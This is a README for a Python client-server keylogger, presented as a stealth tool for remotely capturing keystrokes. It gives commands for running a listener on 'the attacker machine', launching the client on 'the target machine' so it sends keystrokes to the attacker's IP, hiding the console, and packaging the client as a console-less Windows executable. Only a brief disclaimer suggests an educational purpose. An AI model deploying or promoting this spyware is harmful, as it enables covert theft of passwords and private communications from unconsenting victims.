A Python-based stealth keylogger with a client-server architecture. This project allows for remote monitoring of keystrokes over a network connection.
This project is for educational and ethical security testing purposes only. Using this software against targets without prior informed consent is illegal. The author assumes no liability for any misuse or damage caused by this program.
- Stealth Mode: Automatically hides the console window on Windows systems.
- Remote Logging: Sends keystrokes in real-time to a central server.
- Buffering: Stores keystrokes locally if the connection is lost and syncs them once reconnected.
- Reconnection Logic: Automatically attempts to reconnect to the server every 30 seconds.
- Readable Format: Converts special keys (Enter, Shift, etc.) into readable tags like
[ENTER].
server.py: The listener script that receives and logs keystrokes.client.py: The keylogger script to be run on the target machine.requirements.txt: List of Python dependencies.
-
Clone the repository:
git clone https://github.com/yourusername/Keylogger.git cd Keylogger -
Install dependencies:
pip install -r requirements.txt
Run the server on your machine (the attacker machine):
python server.py --host 0.0.0.0 --port 12345By default, it listens on all interfaces (0.0.0.0) on port 12345.
Run the client on the target machine, specifying the attacker's IP:
python client.py --ip YOUR_SERVER_IP --port 12345The console window will hide automatically upon execution.
To convert the client script into a standalone Windows executable (.exe), you can use PyInstaller:
-
Install PyInstaller:
pip install pyinstaller
-
Compile the client:
pyinstaller --onefile --noconsole client.py
The executable will be generated in the
dist/folder.
pynput: For monitoring keyboard events.pywin32: For interacting with Windows APIs to hide the console.
This project is licensed under the MIT License - see the LICENSE file for details.